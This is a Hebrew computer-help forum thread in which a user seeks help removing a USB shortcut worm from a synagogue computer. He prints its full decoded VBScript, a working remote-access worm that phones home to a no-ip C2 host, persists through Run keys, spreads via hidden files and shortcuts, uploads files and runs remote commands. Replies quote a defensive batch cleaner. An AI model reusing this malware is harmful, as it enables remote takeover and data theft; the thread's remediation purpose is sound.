דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
  1. דף הבית
  2. מחשבים וטכנולוגיה
  3. עזרה הדדית - מחשבים וטכנולוגיה
  4. בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

מתוזמן נעוץ נעול הועבר עזרה הדדית - מחשבים וטכנולוגיה
24 פוסטים 7 כותבים 186 צפיות 5 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • ר רנדומלי

    בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

    cmd /c hrxxryydxo.vbs && start explorer [file name]
    

    הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

    לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

    תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

    לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

    z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
    

    בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
    לאחר פיענוח הקידוד התקבל הקוד הבא:
    אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

    e
    '<[ recoder : houdini (c) skype : houdini-fx ]>
    
    '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    
    host = "khattab.no-ip.biz"
    port = 5550
    installdir = "%temp%"
    lnkfile = true
    lnkfolder = true
    
    '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
    
    dim shellobj 
    set shellobj = wscript.createobject("wscript.shell")
    dim filesystemobj
    set filesystemobj = createobject("scripting.filesystemobject")
    dim httpobj
    set httpobj = createobject("msxml2.xmlhttp")
    
    '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
    
    installname = wscript.scriptname
    startup = shellobj.specialfolders ("startup") & "\"
    installdir = shellobj.expandenvironmentstrings(installdir) & "\"
    if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
    spliter = "<" & "|" & ">"
    sleep = 5000 
    dim response
    dim cmd
    dim param
    info = ""
    usbspreading = ""
    startdate = ""
    dim oneonce
    
    '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
    on error resume next
    
    instance
    while true
    
    install
    
    response = ""
    response = post ("is-ready","")
    cmd = split (response,spliter)
    select case cmd (0)
    case "excecute"
          param = cmd (1)
          execute param
    case "update"
          param = cmd (1)
          oneonce.close
          set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
          oneonce.write param
          oneonce.close
          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
          wscript.quit 
    case "uninstall"
          uninstall
    case "send"
          download cmd (1),cmd (2)
    case "site-send"
          sitedownloader cmd (1),cmd (2)
    case "recv"
          param = cmd (1)
          upload (param)
    case  "enum-driver"
          post "is-enum-driver",enumdriver  
    case  "enum-faf"
          param = cmd (1)
          post "is-enum-faf",enumfaf (param)
    case  "enum-process"
          post "is-enum-process",enumprocess   
    case  "cmd-shell"
          param = cmd (1)
          post "is-cmd-shell",cmdshell (param)  
    case  "delete"
          param = cmd (1)
          deletefaf (param) 
    case  "exit-process"
          param = cmd (1)
          exitprocess (param) 
    case  "sleep"
          param = cmd (1)
          sleep = eval (param)        
    end select
    
    wscript.sleep sleep
    
    wend
    
    sub install
    on error resume next
    dim lnkobj
    dim filename
    dim foldername
    dim fileicon
    dim foldericon
    
    upstart
    for each drive in filesystemobj.drives
    
    if  drive.isready = true then
    if  drive.freespace  > 0 then
    if  drive.drivetype  = 1 then
        filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
        if  filesystemobj.fileexists (drive.path & "\" & installname)  then
            filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
        end if
        for each file in filesystemobj.getfolder( drive.path & "\" ).Files
            if not lnkfile then exit for
            if  instr (file.name,".") then
                if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                    file.attributes = 2+4
                    if  ucase (file.name) <> ucase (installname) then
                        filename = split(file.name,".")
                        set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                        lnkobj.windowstyle = 7
                        lnkobj.targetpath = "cmd.exe"
                        lnkobj.workingdirectory = ""
                        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                        fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                        if  instr (fileicon,",") = 0 then
                            lnkobj.iconlocation = file.path
                        else 
                            lnkobj.iconlocation = fileicon
                        end if
                        lnkobj.save()
                    end if
                end if
            end if
        next
        for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
            if not lnkfolder then exit for
            folder.attributes = 2+4
            foldername = folder.name
            set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
            lnkobj.windowstyle = 7
            lnkobj.targetpath = "cmd.exe"
            lnkobj.workingdirectory = ""
            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
            foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
            if  instr (foldericon,",") = 0 then
                lnkobj.iconlocation = folder.path
            else 
                lnkobj.iconlocation = foldericon
            end if
            lnkobj.save()
        next
    end If
    end If
    end if
    next
    err.clear
    end sub
    
    sub uninstall
    on error resume next
    dim filename
    dim foldername
    
    shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
    shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
    filesystemobj.deletefile startup & installname ,true
    filesystemobj.deletefile wscript.scriptfullname ,true
    
    for  each drive in filesystemobj.drives
    if  drive.isready = true then
    if  drive.freespace  > 0 then
    if  drive.drivetype  = 1 then
        for  each file in filesystemobj.getfolder ( drive.path & "\").files
             on error resume next
             if  instr (file.name,".") then
                 if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                     file.attributes = 0
                     if  ucase (file.name) <> ucase (installname) then
                         filename = split(file.name,".")
                         filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                     else
                         filesystemobj.deletefile (drive.path & "\" & file.name)
                     end If
                 else
                     filesystemobj.deletefile (file.path) 
                 end if
             end if
         next
         for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
             folder.attributes = 0
         next
    end if
    end if
    end if
    next
    wscript.quit
    end sub
    
    function post (cmd ,param)
    
    post = param
    httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
    httpobj.setrequestheader "user-agent:",information
    httpobj.send param
    post = httpobj.responsetext
    end function
    
    function information
    on error resume next
    if  inf = "" then
        inf = hwid & spliter 
        inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
        inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
    
        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
        set os = root.execquery ("select * from win32_operatingsystem")
        for each osinfo in os
           inf = inf & osinfo.caption & spliter  
           exit for
        next
        inf = inf & "plus" & spliter
        inf = inf & security & spliter
        inf = inf & usbspreading
        information = inf  
    else
        information = inf
    end if
    end function
    
    sub upstart ()
    on error resume Next
    
    shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
    filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
    filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
    
    end sub
    
    function hwid
    on error resume next
    
    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    set disks = root.execquery ("select * from win32_logicaldisk")
    for each disk in disks
        if  disk.volumeserialnumber <> "" then
            hwid = disk.volumeserialnumber
            exit for
        end if
    next
    end function
    
    function security 
    on error resume next
    
    security = ""
    
    set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
    for each objitem in colitems
        versionstr = split (objitem.version,".")
    next
    versionstr = split (colitems.version,".")
    osversion = versionstr (0) & "."
    for  x = 1 to ubound (versionstr)
         osversion = osversion &  versionstr (i)
    next
    osversion = eval (osversion)
    if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
    
    set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
    Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
    
    for each objantivirus in colantivirus
        security  = security  & objantivirus.displayname & " ."
    next
    if security  = "" then security  = "nan-av"
    end function
    
    function instance
    on error resume next
    
    usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
    if usbspreading = "" then
       if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
          usbspreading = "true - " & date
          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
       else
          usbspreading = "false - " & date
          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
    
       end if
    end If
    
    
    upstart
    set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
    set installfullnameshort =  filesystemobj.getfile (installdir & installname)
    if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
        shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
        wscript.quit 
    end If
    err.clear
    set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
    if  err.number > 0 then wscript.quit
    end function
    
    sub sitedownloader (fileurl,filename)
    
    strlink = fileurl
    strsaveto = installdir & filename
    set objhttpdownload = createobject("msxml2.xmlhttp" )
    objhttpdownload.open "get", strlink, false
    objhttpdownload.send
    
    set objfsodownload = createobject ("scripting.filesystemobject")
    if  objfsodownload.fileexists (strsaveto) then
        objfsodownload.deletefile (strsaveto)
    end if
     
    if objhttpdownload.status = 200 then
       dim  objstreamdownload
       set  objstreamdownload = createobject("adodb.stream")
       with objstreamdownload
            .type = 1 
            .open
            .write objhttpdownload.responsebody
            .savetofile strsaveto
            .close
       end with
       set objstreamdownload = nothing
    end if
    if objfsodownload.fileexists(strsaveto) then
       shellobj.run objfsodownload.getfile (strsaveto).shortpath
    end if 
    end sub
    
    sub download (fileurl,filedir)
    
    if filedir = "" then 
       filedir = installdir
    end if
    
    strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
    set objhttpdownload = createobject("msxml2.xmlhttp")
    objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
    objhttpdownload.send ""
         
    set objfsodownload = createobject ("scripting.filesystemobject")
    if  objfsodownload.fileexists (strsaveto) then
        objfsodownload.deletefile (strsaveto)
    end if
    if  objhttpdownload.status = 200 then
        dim  objstreamdownload
        set  objstreamdownload = createobject("adodb.stream")
        with objstreamdownload 
             .type = 1 
             .open
             .write objhttpdownload.responsebody
             .savetofile strsaveto
             .close
        end with
        set objstreamdownload  = nothing
    end if
    if objfsodownload.fileexists(strsaveto) then
       shellobj.run objfsodownload.getfile (strsaveto).shortpath
    end if 
    end sub
    
    function upload (fileurl)
    
    dim  httpobj,objstreamuploade,buffer
    set  objstreamuploade = createobject("adodb.stream")
    with objstreamuploade 
         .type = 1 
         .open
         .loadfromfile fileurl
         buffer = .read
         .close
    end with
    set objstreamdownload = nothing
    set httpobj = createobject("msxml2.xmlhttp")
    httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
    httpobj.send buffer
    end function
    
    function enumdriver ()
    
    for  each drive in filesystemobj.drives
    if   drive.isready = true then
         enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
    end if
    next
    end Function
    
    function enumfaf (enumdir)
    
    enumfaf = enumdir & spliter
    for  each folder in filesystemobj.getfolder (enumdir).subfolders
         enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
    next
    
    for  each file in filesystemobj.getfolder (enumdir).files
         enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
    
    next
    end function
    
    function enumprocess ()
    
    on error resume next
    
    set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
    set colitems = objwmiservice.execquery("select * from win32_process",,48)
    
    dim objitem
    for each objitem in colitems
        enumprocess = enumprocess & objitem.name & "|"
        enumprocess = enumprocess & objitem.processid & "|"
        enumprocess = enumprocess & objitem.executablepath & spliter
    next
    end function
    
    sub exitprocess (pid)
    on error resume next
    
    shellobj.run "taskkill /F /T /PID " & pid,7,true
    end sub
    
    sub deletefaf (url)
    on error resume next
    
    filesystemobj.deletefile url
    filesystemobj.deletefolder url
    
    end sub
    
    function cmdshell (cmd)
    
    dim httpobj,oexec,readallfromany
    
    set oexec = shellobj.exec ("%comspec% /c " & cmd)
    if not oexec.stdout.atendofstream then
       readallfromany = oexec.stdout.readall
    elseif not oexec.stderr.atendofstream then
       readallfromany = oexec.stderr.readall
    else 
       readallfromany = ""
    end if
    
    cmdshell = readallfromany
    end function
    
    cfopuserC מנותק
    cfopuserC מנותק
    cfopuser
    כתב נערך לאחרונה על ידי cfopuser
    #7

    עריכה: הפתרון ש@מישהו12 הביא עושה עבודה יסודית ומנקה גם כוננים מחוברים,

    (אם כי הוא מצפה למצוא שמות ידועים של וירוסים,
    ואת שלך לדוג' (hrxxryydxo.vbs) הוא לא ימצא,
    אבל עדיין אמור לטפל בבעיה כי הוא מטפל בstartup).

    מתכנת חובבמ תגובה 1 תגובה אחרונה
    1
    • cfopuserC cfopuser

      עריכה: הפתרון ש@מישהו12 הביא עושה עבודה יסודית ומנקה גם כוננים מחוברים,

      (אם כי הוא מצפה למצוא שמות ידועים של וירוסים,
      ואת שלך לדוג' (hrxxryydxo.vbs) הוא לא ימצא,
      אבל עדיין אמור לטפל בבעיה כי הוא מטפל בstartup).

      מתכנת חובבמ מנותק
      מתכנת חובבמ מנותק
      מתכנת חובב
      מדריכים
      כתב נערך לאחרונה על ידי מתכנת חובב
      #8

      @cfopuser הוא לא יטפל בזה
      עברתי על הקוד ולא מצאתי משהו שיכול לעזור לזה ספציפית
      מה- startup הוא מנקה רק את אלו

      for %%F in ("IMG-512.wsf","WinddowsUpdater.lnk","WinddowsUpdateCheck.lnk","winddowsupdate.lnk") do (
          if exist "%%~P\%%~F" attrib -s -h -r "%%~P\%%~F" && del "%%~P\%%~F" /f /q
      

      כנ"ל מהרגיסטרי

      ::Clean Registry / Startup
      For /f "usebackq tokens=2 delims=\" %%U in (`reg.exe query "HKU"`) do (
      	for %%P in ("HKU\%%U\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
      		for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512","BrowserUpdater","BrowserUpdate","cpuulover") do (
      			reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
      			)
      		for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
      			reg delete %%~P /v "%%~A" /f		
      			)
      		reg query %%~P /s
      		)
      	)
      for %%P in ("HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run","HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
      	for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512") do (
      		reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
      	)
      	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
      		reg delete %%~P /v "%%~A" /f
      		)
      	reg query %%~P /s
      	)
      

      וכנ"ל מכוננים פנימיים (ובדומה גם לחיצוניים) - כאן יש גם בדיקה של תבנית regex ספציפית שלא תואמת לוירוס הנ"ל

      ::internal drives
      for /f "tokens=2 delims==" %%G in ('WMIC logicaldisk where "DriveType=3" get DeviceID /value 2^>NUL ^| find "="') do for /f "delims=" %%X in ("%%G") do (
      	for /f "tokens=* delims=" %%D in ('dir %%X\ /b /as') do (
      		if "%%D"=="streamer" attrib -s -h -r %%X\streamer
      		if "%%D"=="streamerdata" attrib -s -h -r %%X\streamerdata
      		if "%%D"=="WinddowsUpdater" attrib -s -h -r %%X\WinddowsUpdater
      		if "%%D"=="WinddowsUpdateCheck" attrib -s -h -r %%X\WinddowsUpdateCheck
      		if "%%D"=="BrowserUpdater" attrib -s -h -r %%X\BrowserUpdater
      		if "%%D"=="BrowserUpdateCheck" attrib -s -h -r %%X\BrowserUpdateCheck
      		if "%%D"=="IMG-512.wsf" attrib -s -h -r %%X\IMG-512.wsf & del %%X\IMG-512.wsf && echo The virus ''old shortcuts'' has been removed from drive %%X.
      		)
      	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('dir c:\ /b /ad ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
      		attrib -s -h -r "%%X\%%A"
      		rd /s /q "%%X\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
      		)
      	for /f "delims=" %%D in ('dir %%X\ /b /ad') do (
      		for %%F in ("My Downloads","My Videos","My Pictures","Downloads","Games") do (
      			if exist "%%X\%%D\%%~F.lnk" del "%%X\%%D\%%~F.lnk"
      			)
      		for /f "usebackq tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in (`dir /b /ads "%%X\%%D\" ^|findstr /xr "[a-z].........[a-z].........[a-z]"`) do (
      			attrib -s -h -r "%%X\%%D\%%A"
      			rd /s /q "%%X\%%D\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
      			)
      		if exist "%%X\%%D\%%D copy*.lnk" del "%%X\%%D\%%D copy*.lnk"  
      		if exist "%%X\%%D\%%D.lnk" del "%%X\%%D\%%D.lnk"
      		if exist "%%X\%%D\streamerdata" attrib -s -h -r "%%X\%%D\streamerdata" & rd "%%X\%%D\streamerdata" /s /q
      		if /i "%%D"=="streamer" rd /s /q %%X\streamer && echo The virus ''%%D'' has been removed from drive %%X.
      		if /i "%%D"=="streamerdata" rd /s /q %%X\streamerdata
      		if /i "%%D"=="WinddowsUpdater" rd /s /q %%X\WinddowsUpdater && echo The virus ''%%D'' has been removed from drive %%X.
      		if /i "%%D"=="WinddowsUpdateCheck" rd /s /q %%X\WinddowsUpdateCheck
      		if /i "%%D"=="BrowserUpdater" rd /s /q %%X\BrowserUpdater && echo The virus ''%%D'' has been removed from drive %%X.
      		if /i "%%D"=="BrowserUpdateCheck" rd /s /q %%X\BrowserUpdateCheck
      		)
      	set "AutoHK.NAPd="
      	)
      

      המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

      צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

      cfopuserC תגובה 1 תגובה אחרונה
      1
      • מתכנת חובבמ מתכנת חובב

        @cfopuser הוא לא יטפל בזה
        עברתי על הקוד ולא מצאתי משהו שיכול לעזור לזה ספציפית
        מה- startup הוא מנקה רק את אלו

        for %%F in ("IMG-512.wsf","WinddowsUpdater.lnk","WinddowsUpdateCheck.lnk","winddowsupdate.lnk") do (
            if exist "%%~P\%%~F" attrib -s -h -r "%%~P\%%~F" && del "%%~P\%%~F" /f /q
        

        כנ"ל מהרגיסטרי

        ::Clean Registry / Startup
        For /f "usebackq tokens=2 delims=\" %%U in (`reg.exe query "HKU"`) do (
        	for %%P in ("HKU\%%U\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
        		for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512","BrowserUpdater","BrowserUpdate","cpuulover") do (
        			reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
        			)
        		for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
        			reg delete %%~P /v "%%~A" /f		
        			)
        		reg query %%~P /s
        		)
        	)
        for %%P in ("HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run","HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
        	for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512") do (
        		reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
        	)
        	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
        		reg delete %%~P /v "%%~A" /f
        		)
        	reg query %%~P /s
        	)
        

        וכנ"ל מכוננים פנימיים (ובדומה גם לחיצוניים) - כאן יש גם בדיקה של תבנית regex ספציפית שלא תואמת לוירוס הנ"ל

        ::internal drives
        for /f "tokens=2 delims==" %%G in ('WMIC logicaldisk where "DriveType=3" get DeviceID /value 2^>NUL ^| find "="') do for /f "delims=" %%X in ("%%G") do (
        	for /f "tokens=* delims=" %%D in ('dir %%X\ /b /as') do (
        		if "%%D"=="streamer" attrib -s -h -r %%X\streamer
        		if "%%D"=="streamerdata" attrib -s -h -r %%X\streamerdata
        		if "%%D"=="WinddowsUpdater" attrib -s -h -r %%X\WinddowsUpdater
        		if "%%D"=="WinddowsUpdateCheck" attrib -s -h -r %%X\WinddowsUpdateCheck
        		if "%%D"=="BrowserUpdater" attrib -s -h -r %%X\BrowserUpdater
        		if "%%D"=="BrowserUpdateCheck" attrib -s -h -r %%X\BrowserUpdateCheck
        		if "%%D"=="IMG-512.wsf" attrib -s -h -r %%X\IMG-512.wsf & del %%X\IMG-512.wsf && echo The virus ''old shortcuts'' has been removed from drive %%X.
        		)
        	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('dir c:\ /b /ad ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
        		attrib -s -h -r "%%X\%%A"
        		rd /s /q "%%X\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
        		)
        	for /f "delims=" %%D in ('dir %%X\ /b /ad') do (
        		for %%F in ("My Downloads","My Videos","My Pictures","Downloads","Games") do (
        			if exist "%%X\%%D\%%~F.lnk" del "%%X\%%D\%%~F.lnk"
        			)
        		for /f "usebackq tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in (`dir /b /ads "%%X\%%D\" ^|findstr /xr "[a-z].........[a-z].........[a-z]"`) do (
        			attrib -s -h -r "%%X\%%D\%%A"
        			rd /s /q "%%X\%%D\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
        			)
        		if exist "%%X\%%D\%%D copy*.lnk" del "%%X\%%D\%%D copy*.lnk"  
        		if exist "%%X\%%D\%%D.lnk" del "%%X\%%D\%%D.lnk"
        		if exist "%%X\%%D\streamerdata" attrib -s -h -r "%%X\%%D\streamerdata" & rd "%%X\%%D\streamerdata" /s /q
        		if /i "%%D"=="streamer" rd /s /q %%X\streamer && echo The virus ''%%D'' has been removed from drive %%X.
        		if /i "%%D"=="streamerdata" rd /s /q %%X\streamerdata
        		if /i "%%D"=="WinddowsUpdater" rd /s /q %%X\WinddowsUpdater && echo The virus ''%%D'' has been removed from drive %%X.
        		if /i "%%D"=="WinddowsUpdateCheck" rd /s /q %%X\WinddowsUpdateCheck
        		if /i "%%D"=="BrowserUpdater" rd /s /q %%X\BrowserUpdater && echo The virus ''%%D'' has been removed from drive %%X.
        		if /i "%%D"=="BrowserUpdateCheck" rd /s /q %%X\BrowserUpdateCheck
        		)
        	set "AutoHK.NAPd="
        	)
        

        המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

        cfopuserC מנותק
        cfopuserC מנותק
        cfopuser
        כתב נערך לאחרונה על ידי
        #9

        @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

        המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

        או לכבות vbs דרך הריג'יסטרי.

        מתכנת חובבמ תגובה 1 תגובה אחרונה
        1
        • cfopuserC cfopuser

          @מתכנת-חובב כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

